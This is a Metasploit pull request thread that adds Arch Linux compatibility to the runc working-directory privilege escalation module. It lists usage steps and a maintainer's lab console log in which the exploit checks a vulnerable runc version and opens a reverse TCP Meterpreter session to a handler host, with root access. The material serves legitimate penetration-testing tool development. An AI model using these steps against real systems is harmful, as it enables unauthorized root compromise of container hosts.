arch linux compatibility for runc priv esc

[h00die]

fixes #19679

Adds arch linux compatibility to the runc priv esc. See documentation for install instructions.

Verification

• Start msfconsole
• get a user level shell
• use exploit/linux/local/runc_cwd_priv_esc
• Adjust FILEDESCRIPTOR if needed (usually 7 or 8, I find mine to typically be 8)
• Set your WritableDir somewhere like the user's home directory, /tmp has nosuid, so won't work there (you'll get a user shell again even though permissions look correct)
• Verify check works successfully
• Verify exploit gives you a root shell

[jheysel-r7]

Thanks for the fix @h00die and for all your help over on the issue on this one. We have library code to check for nosuid so I added that in to ensure no gotchas on WritableDir. Everything looks great here 🚀

Testing

msf6 exploit(linux/local/runc_cwd_priv_esc) > set WritableDir /tmp
WritableDir => /tmp
msf6 exploit(linux/local/runc_cwd_priv_esc) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version of runc detected appears to be vulnerable: 1.1.10.
[-] Exploit aborted due to failure: bad-config: /tmp is mounted nosuid
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/runc_cwd_priv_esc) > set WritableDir /home/msfuser
WritableDir => /home/msfuser
msf6 exploit(linux/local/runc_cwd_priv_esc) > run
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version of runc detected appears to be vulnerable: 1.1.10.
[*] Building from Dockerfile to set our payload permissions
[*] Removing created docker image ef2280fd332b
[*] Payload permissions set, executing payload (/home/msfuser/.0S66QYl/.VrUA1t)...
[*] Sending stage (3045380 bytes) to 172.16.199.135
[+] Deleted /home/msfuser/.0S66QYl/.VrUA1t
[+] Deleted /home/msfuser/.0S66QYl/Dockerfile
[+] Deleted /home/msfuser/.0S66QYl
[*] Meterpreter session 5 opened (172.16.199.1:5555 -> 172.16.199.135:60636) at 2025-01-09 09:46:19 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.135
OS           :  (Linux 6.12.8-arch1-1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

[jheysel-r7]

Release Notes

Adds Arch Linux compatibility to the runc_cwd_priv_esc local privilege escalation module.